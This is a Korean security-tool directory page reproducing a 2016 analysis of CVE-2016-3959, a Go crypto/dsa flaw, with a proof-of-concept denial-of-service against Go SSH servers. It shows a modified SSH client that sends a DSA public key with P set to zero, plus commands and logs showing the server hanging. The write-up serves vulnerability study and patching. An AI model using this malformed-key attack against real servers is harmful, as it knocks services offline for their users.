Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
dsa — CVE-2016-3959 분석 및 Go SSH 서버에 대한 개념 증명 공격 | Kitploit
도구/GitHubGitHub/alexmullins/dsa
Vulnerability AnalysisExploitationCryptographyPenetration TestingLearning & Education
GitHubalexmullins/dsa

dsa

CVE-2016-3959 분석 및 Go SSH 서버에 대한 개념 증명 공격

저장소 보기
1110년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Go의 crypto/dsa 취약점(CVE-2016-3959) 요약

Alex Mullins

2016년 4월 9일


소개

최근 Go 프로그래밍 언어용 DSA(Digital Signature Algorithm) 암호 라이브러리에서 버그가 발견되었습니다. 이 글에서는 버그의 세부 내용과 공격자가 이를 이용하여 기본 DSA 라이브러리를 사용해 클라이언트를 인증하는 표준 Go SSH 서버에 대해 서비스 거부 공격을 시작할 수 있는 방법을 살펴보겠습니다.

이 취약점에 대한 첫 번째 언급은 Open Source Security(oss-sec) 메일링 리스트의 http://seclists.org/oss-sec/2016/q2/11 게시물에 나타났습니다.

Go는 여러 큰 정수 루틴에 무한 루프가 있어 Go 프로그램이 원격 서비스 거부 공격에 취약합니다. HTTPS 클라이언트 인증 또는 Go ssh 서버 라이브러리를 사용하는 프로그램은 모두 이 취약점에 노출됩니다. 이 문제는 다음 CL에서 해결되고 있습니다: https://golang.org/cl/21533

-- Jason Buberel

요약하자면, 이 취약점이 악용되면 기본 BigNum 라이브러리 코드에서 무한 루프가 발생할 수 있습니다. 이는 CPU와 메모리 측면에서 시스템 리소스를 소모하여 결국 프로그램이나 시스템 자체가 응답하지 않게 만들 수 있습니다.

위 진술은 SSH와 HTTPS 클라이언트 인증이 모두 영향을 받는다고 말하지만, Go의 crypto/tls 및 net/http 패키지를 살펴본 후에는 이는 부정확해 보입니다. HTTPS 클라이언트 인증은 RSA 또는 ECDSA 서명 체계를 사용할 수 있지만 DSA는 사용할 수 없습니다. 아래를 참조하십시오. 이 부분이 틀렸다면 알려주시기 바랍니다.

https://golang.org/pkg/crypto/tls/#Certificate

root@kitploit:~
type Certificate struct {
        Certificate [][]byte
        // PrivateKey contains the private key corresponding to the public key
        // in Leaf. For a server, this must implement crypto.Signer and/or
        // crypto.Decrypter, with an RSA or ECDSA PublicKey. For a client
        // (performing client authentication), this must be a crypto.Signer
        // with an RSA or ECDSA PublicKey.
        PrivateKey crypto.PrivateKey

        ... other fields
}

oss-sec 메일링 리스트에 해당 게시물이 올라온 지 얼마 지나지 않아 CVE 번호 CVE-2016-3959가 발급되었습니다. Go 관리자들은 이에 대한 수정 사항을 준비했으며, 2016년 4월 13일 수요일에 출시될 버전 1.5.4 및 1.6.1에 포함될 예정입니다. https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g

이 글의 코드 샘플을 따라하려면 Go 버전 1.6이 설치되어 있어야 합니다. https://golang.org/doc/install의 지침을 따르십시오. 이 문서와 코드 샘플을 다운로드하려면 Git도 설치되어 있어야 합니다. https://git-scm.com/book/en/v2/Getting-Started-Installing-Git의 지침을 따르십시오. 저장소를 클론하려면 터미널에서 다음 명령을 실행하십시오:

root@kitploit:~
$ go get github.com/alexmullins/dsa

이 명령은 저장소를 Go 작업 공간에 클론합니다.

다음 섹션에서는 취약점의 세부 사항을 다룹니다.

결함

그렇다면 정확히 무엇이 잘못되었을까요? 이에 답하려면 oss-sec 메일링 리스트의 원래 발표로 돌아가야 합니다. 문제에 대한 일반적인 설명과 https://golang.org/cl/21533의 코드 수정 링크 외에는 많은 정보가 없습니다. 해당 변경 사항의 커밋 메시지에는 다음이 포함되어 있습니다:

crypto/dsa: 유효하지 않은 PublicKey를 조기에 제거

PublicKey.P == 0인 경우 Verify가 실패합니다. 시도조차 하지 마십시오.

--- Robert Griesemer

그리고 수정된 코드:

https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247

root@kitploit:~
// Verify verifies the signature in r, s of hash using the public key, pub. It
// reports whether the signature is valid.
//
// Note that FIPS 186-3 section 4.6 specifies that the hash should be truncated
// to the byte-length of the subgroup. This function does not perform that
// truncation itself.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
    // FIPS 186-3, section 4.7

    // Code fix added to check if the key parameters are sensible.
    if pub.P.Sign() == 0 {
        return false
    }

    if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
        return false
    }
    if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
        return false
    }

    w := new(big.Int).ModInverse(s, pub.Q)

    n := pub.Q.BitLen()
    if n&7 != 0 {
        return false
    }
    z := new(big.Int).SetBytes(hash)

    u1 := new(big.Int).Mul(z, w)
    u1.Mod(u1, pub.Q)
    u2 := w.Mul(r, w)
    u2.Mod(u2, pub.Q)
    v := u1.Exp(pub.G, u1, pub.P)
    u2.Exp(pub.Y, u2, pub.P)
    v.Mul(v, u2)
    v.Mod(v, pub.P)
    v.Mod(v, pub.Q)

    return v.Cmp(r) == 0
}

위의 커밋 메시지와 코드 수정을 요약하면 다음과 같습니다: Go 1.6 및 이전 버전에서 crypto/dsa 패키지의 Verify 함수에 버그가 있습니다. 누군가 공개 키 매개변수 P를 0으로 설정하여 Verify를 호출하면 Verify 함수의 더 아래에 있는 명령문 중 하나에서 무한 루프가 발생합니다.

잠시 DSA를 설명하겠습니다. DSA는 비대칭 암호화를 사용하여 메시지에 서명하고, 나중에 메시지가 실제로 송신자/개인 키 소유자에 의해 전송되었음을 보장하는 데 사용할 수 있는 디지털 서명 알고리즘입니다. 간단한 예로, Alice가 Bob에게 점심을 어디서 언제 만날지 알려주는 메시지를 보냅니다. Bob은 메시지가 Alice가 보낸 것이 확실하기를 원하며 다른 사람이 보낸 것이 아님을 확인하려 합니다. 이를 위해 Alice는 자신의 개인 키로 메시지에 서명하고, Bob은 Bob이 알고 있는 Alice의 공개 키로 Alice의 서명을 확인할 수 있습니다. 개인 키 소유자 외에는 누구도 해당 공개 키로 확인할 수 있는 메시지에 서명할 수 없습니다(적어도 그런 개념입니다).

DSA가 작동하려면 5개의 큰 숫자가 필요합니다. 처음 3개의 숫자는 DSA 매개변수 P, Q, G로 알려져 있습니다. 이들은 기본 그룹과 그룹 생성기를 정의합니다. 이 숫자들은 dsa.GenerateParameters()를 호출하여 올바르게 생성할 수 있습니다.

root@kitploit:~
type Parameters struct {
        P, Q, G *big.Int
}

DSA에 필요한 마지막 두 숫자는 개인 키 X와 이에 해당하는 공개 키 Y입니다. 이 숫자들도 dsa.GenerateKey()를 호출하여 생성할 수 있습니다.

root@kitploit:~
type PrivateKey struct {
        PublicKey
        X *big.Int
}

type PublicKey struct {
        Parameters
        Y *big.Int
}

이것이 DSA에 대해 알아야 할 전부입니다. 자세한 내용은 NIST 표준(http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf) 또는 위키피디아 페이지(https://en.wikipedia.org/wiki/Digital_Signature_Algorithm)를 참조하십시오.

다시 주제로 돌아와서, Verify 함수의 무한 루프는 어디에 있을까요? 조금 더 파고들면 코드가 다음에서 멈추는 것을 발견할 수 있습니다:

root@kitploit:~
v := u1.Exp(pub.G, u1, pub.P)

Exp() 메서드의 주석입니다:

root@kitploit:~
// Exp sets z = x**y mod |m| (i.e. the sign of m is ignored), and returns z.
// If y <= 0, the result is 1 mod |m|; if m == nil or m == 0, z = x**y.
// See Knuth, volume 2, section 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {

위에서 m == 0일 때 모듈러 축소 없이 지수 연산을 수행한다는 주석을 볼 수 있습니다. 큰 숫자를 가져와 다른 큰 숫자로 지수 연산을 하면 결과도 정말 큰 숫자가 됩니다. math/big이 어떻게 작동하는지 잘 알지는 못하지만, 여기서 일어나는 일이라고 생각합니다. Exp()는 완료하는 데 매우 오랜 시간이 걸리는(사실상 무한대나 마찬가지인) 이 지수 연산을 열심히 처리하고 있습니다.

아래 테스트 코드에서 수집한 dsa.Verify() 호출에서 Exp()에 사용되는 샘플 숫자는 다음과 같습니다:

root@kitploit:~
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 digits)

y = 751336012463178371212581620103057049388105279629 (48 digits)

z = x ^ y

Wolfram Alpha를 사용하면 이 숫자 z가 얼마나 큰지 가늠할 수 있습니다. 결과 숫자 z에는 "113406800566837208055789635448879116719378036793444 자릿수(1.13407x10^50 자릿수)"가 있습니다. (참고: Wolfram Alpha 웹 입력 상자에서 x의 처음 150자리만 y의 거듭제곱으로 사용할 수 있었으므로 실제 자릿수는 더 많습니다!) 규모를 감 잡기 위해: 과학자들은 우주의 원자 수를 10^78에서 10^82 사이로 추정합니다http://www.universetoday.com/36302/atoms-in-the-universe/.

DSA 서명/검증 예제 테스트:

root@kitploit:~
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
    // Create the DSA parameters
    params := dsa.Parameters{}
    err := dsa.GenerateParameters(&params, rand.Reader, dsa.L1024N160)
    if err != nil {
        t.Fatalf("failed to generate dsa parameters: %v", err)
    }

    // Create the DSA private/public keys
    priv := new(dsa.PrivateKey)
    priv.Parameters = params
    err = dsa.GenerateKey(priv, rand.Reader)
    if err != nil {
        t.Fatalf("failed to generate dsa keys: %v", err)
    }
    return priv
}

func TestDSASignature(t *testing.T) {
    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test
PASS
ok      github.com/alexmullins/dsa    0.224s

P를 0으로 설정하는 예제 테스트:

root@kitploit:~
func TestDSAPanic(t *testing.T) {
    flag.Parse()
    if !*fail {
        t.Skip()
    }

    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Sign a message
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("failed to sign message: %v", err)
    }

    // Set P = 0
    priv.P = new(big.Int).SetInt64(0)

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("failed to verify message: %v", err)
    }
}
root@kitploit:~
$ go test -fail

이 마지막 테스트 호출이 멈추는 것을 확인하십시오.

악용

누군가가 이를 어떻게 악용할 수 있을까요? 공격자가 어떻게든 서버가 잘못된 형식의 DSA 키를 받아들여 서명을 확인하는 데 사용하도록 만들 수 있다면, 서버가 큰 지수 연산 문제를 해결하느라 멈추게 하여 서비스 거부(DOS)를 유발할 수 있습니다. SSH는 클라이언트 인증 프로토콜에서 DSA를 서명 체계로 사용하므로, 이 취약점을 시험해 볼 완벽한 서버 후보로 보입니다. 이것이 일어날 수 있는 시나리오를 상상해 봅시다.

작은 Git 호스팅 제공업체가 사용자가 SSH 키로 서비스에 인증하도록 허용하고, 해당 SSH 서버가 Go로 코딩되어 있습니다. 이 서비스를 중단시키기 위해 공격자는 수많은 가짜 계정을 만들고 SSH 인증에 사용할 잘못된 형식의 DSA 키를 업로드할 수 있습니다. 이 모든 키는 매개변수 P가 0으로 설정됩니다. 그런 다음 공격자는 수백 개의 SSH 클라이언트 연결을 서버에 시작하여 시스템 리소스를 점유하고 효과적인 DOS로 이어질 수 있습니다.

그 시나리오를 테스트해 봅시다.

서버

서버는 세션 요청을 수락하고 현재 시간을 연결에 출력하는 간단한 SSH 서버입니다. github.com/jpillora가 https://gist.github.com/jpillora/b480fde82bff51a06238에서 이 샘플 서버 코드를 제공해 주셨습니다. 암호 콜백 대신 공개 키 인증을 허용하도록 코드에 몇 가지 조정이 있었습니다.

root@kitploit:~
config := &ssh.ServerConfig{
    // Accept all authentication requests
    PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
        return nil, nil
    },
}

이것은 모든 공개 키 인증 요청을 수락합니다. 실제 서비스가 특정 사용자가 이 공개 키를 자신의 계정에 등록했는지 확인하기 위해 데이터베이스에 질의하는 것을 상상해 보십시오. 서버는 포트에서 수신 대기를 시작하고 들어오는 연결을 수락하는 매우 일반적인 Go 서버처럼 보입니다.

root@kitploit:~
// Once a ServerConfig has been configured, connections can be accepted.
listener, err := net.Listen("tcp", *addr)
if err != nil {
    log.Fatalf("Failed to listen on %s: %s", *addr, err)
}

// Accept all connections
log.Println("Listening on", *addr)
for {
    tcpConn, err := listener.Accept()
    if err != nil {
        log.Printf("Failed to accept incoming connection (%s)", err)
        return
    }
    log.Printf("Accepted an incoming TCP connection from %s", tcpConn.RemoteAddr())
    if *p {
        go makeSSHConn(tcpConn, config)
    } else {
        makeSSHConn(tcpConn, config)
    }

}

func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
    // Before use, a handshake must be performed on the incoming net.Conn.
    sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
    if err != nil {
        log.Printf("Failed to handshake (%s)", err)
        return
    }

    log.Printf("New SSH connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
    // Discard all global out-of-band Requests
    go ssh.DiscardRequests(reqs)
    // Accept all channels
    go handleChannels(chans)
}

한 가지 주목할 점은 if *p 검사입니다. 이것은 -p 플래그에 해당하며 서버가 SSH 핸드셰이크를 메인 고루틴에서 수행할지 백그라운드 고루틴에서 수행할지를 제어합니다. 많은 온라인 예제가 전자를 사용합니다. -p 플래그는 나중에 공격 섹션에서 차단 작업이 네트워크 서버의 성능에 미치는 차이를 보여줄 것입니다.

클라이언트

클라이언트 코드는 조금 더 복잡합니다. 잘못된 형식의 DSA 키를 보낼 수 있도록 Go SSH 라이브러리 코드에 수정이 필요합니다. SSH 라이브러리는 클라이언트 패키지에 벤더링되었습니다. 서버 코드는 100% 변경되지 않았으며 작업 공간에서 일반 golang.org/x/crypto/ssh 패키지를 임포트합니다.

클라이언트는 -attack이라는 명령줄 플래그로 제어되는 두 가지 모드로 작동합니다. 클라이언트가 정상적으로 시작되면 서버에 일반 SSH 연결을 만들고 몇 초마다 서버의 시간을 읽기 시작합니다. 그러나 -attack 플래그가 있으면 클라이언트는 잘못된 형식의 DSA 공개 키와 함께 인증 요청을 서버에 보냅니다. 관련 코드 조각:

root@kitploit:~
func init() {
    flag.Parse()
    if *attack {
        ssh.Attack = true
    }
    if *key == "" {
        log.Fatalln("must provide a auth key.")
    }
}

벤더링된 SSH 패키지에 새로운 변수 ssh.Attack이 생성되었으며 -attack 플래그가 있을 때 true로 설정됩니다. ssh.Attack은 SSH 패키지의 DSA 공개 키 마샬링 코드를 변경하여 P 매개변수를 0으로 대체합니다. 이러한 변경 사항은 벤더링된 SSH 패키지의 attack.go 및 keys.go 파일에서 찾을 수 있습니다.

root@kitploit:~
// attack.go
var (
    // Attack should be set to true to send a malformed DSA key.
    Attack = false
)

// keys.go
func (k *dsaPublicKey) Marshal() []byte {
    x := k.P
    if Attack {
        x = big.NewInt(0)
    }
    w := struct {
        Name       string
        P, Q, G, Y *big.Int
    }{
        k.Type(),
        x,
        k.Q,
        k.G,
        k.Y,
    }

    return Marshal(&w)
}

공격

공격의 영향은 서버가 -p 플래그로 시작되었는지 여부에 따라 다릅니다.

서버를 빌드하려면 server 디렉토리로 이동하여 go build -o server .를 실행하십시오. 클라이언트도 마찬가지로 go build -o client .를 실행하십시오. 서버와 클라이언트의 data 디렉토리에 테스트용 RSA 및 DSA 키가 있습니다. 새 키를 만들려면 ssh-keygen을 사용하십시오.

서버 - 메인 고루틴

서버가 -p 플래그 없이 시작된 경우, 공격 클라이언트 하나가 서버를 완전히 멈추게 할 수 있으며 더 이상 새 연결을 수락할 수 없습니다. 그 이유는 ssh.NewServerConn() 호출이 메인 고루틴에서 실행되고 클라이언트 인증을 위한 dsa.Verify() 호출에서 멈추어 추가 listener.Accept() 호출을 차단하기 때문입니다. 네트워크 서버를 작성할 때는 수락 루프의 응답성을 유지하고 차단 작업을 백그라운드 고루틴으로 밀어내는 것이 중요합니다.

다음과 같이 서버를 정상적으로 시작하십시오:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Listening on localhost:8022

다른 터미널에서 서버에 올바른 DSA 키를 보내는 일반 클라이언트를 시작하십시오:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 connected
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016

서버로 다시 전환하여 TCP 연결을 수락하고 SSH 연결을 생성했는지 확인하십시오:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)

이제 다른 터미널에서 공격 클라이언트를 시작할 차례입니다. 이 클라이언트는 일반 클라이언트가 보내는 동일한 DSA 키를 보내지만 P 매개변수가 0으로 설정됩니다:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

클라이언트가 'connected' 메시지 없이 멈추고 서버 시간 로그가 없는 것을 확인하십시오. 서버도 SSH 연결 생성 로그를 남기지 않았지만 TCP 연결은 수락했습니다. 서버는 이제 dsa.Verify() 호출에서 멈춰 있습니다:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Listening on localhost:8022
2016/04/13 07:31:31 Accepted an incoming TCP connection from 127.0.0.1:63516
2016/04/13 07:31:31 New SSH connection from 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Accepted an incoming TCP connection from 127.0.0.1:63521

다른 일반 클라이언트를 연결해 보십시오. 이제 연결이 차단됩니다:

root@kitploit:~
$ ./client -key=./data/id_dsa

원래 클라이언트는 여전히 서버로부터 응답을 받을 수 있습니다.

서버 - 백그라운드 고루틴

서버가 -p 플래그로 시작된 경우, 공격자의 SSH 연결이 메인 고루틴의 수락 루프를 차단하는 대신 백그라운드 고루틴에서 처리되므로 일반 클라이언트 연결을 계속 수락할 수 있습니다. 이는 즉각적인 DOS로 이어지지는 않지만 서버의 CPU 및 메모리 리소스를 지속적으로 소모하여 느린 죽음으로 이어집니다.

이번에는 -p 플래그를 사용하여 서버를 다시 시작해 보겠습니다:

root@kitploit:~
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Listening on localhost:8022

이전과 같이 공격 클라이언트를 시작하십시오:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

서버가 다시 SSH 연결 생성 로그를 남기지 않은 것을 확인하십시오. 하지만 일반 클라이언트를 연결해 보겠습니다:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 connected
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016

연결됩니다! 그러나 공격자는 악성 클라이언트 연결을 몇 개 더 시작하기만 하면 서버의 CPU 및 RAM 사용량이 급증합니다. 공격 클라이언트 4개로 노트북이 약간 뜨거워져서 중단하기 전까지 약 400% CPU와 1GB RAM 사용량을 확인했습니다. 정상 조건에서 서버에 일반 클라이언트 2개만 연결되었을 때 CPU는 약 0.2%, RAM 사용량은 5-6MB였습니다. 상당한 차이입니다.

결론

결론적으로, 이 취약점은 서비스 거부를 유발하도록 악용될 수 있습니다. 위의 시나리오를 사용하면 CVE 점수 계산기 https://nvd.nist.gov/CVSS/v2-calculator에서 3.5/10점을 부여했습니다. 기밀성이나 무결성에 미치는 영향은 없으며 부분적/전체적 가용성 영향만 있습니다.

godoc.org에서 현재 crypto/dsa를 임포트하는 패키지가 164개 있습니다(https://godoc.org/crypto/dsa?importers). https://golang.org/dl/에 있는 보안 릴리스로 업그레이드하는 것이 좋습니다.

전반적으로 재미있는 학습 경험이었습니다. 실수나 개선할 점이 있으면 알려주시기 바랍니다. 읽어 주셔서 감사합니다.

도구 다운로드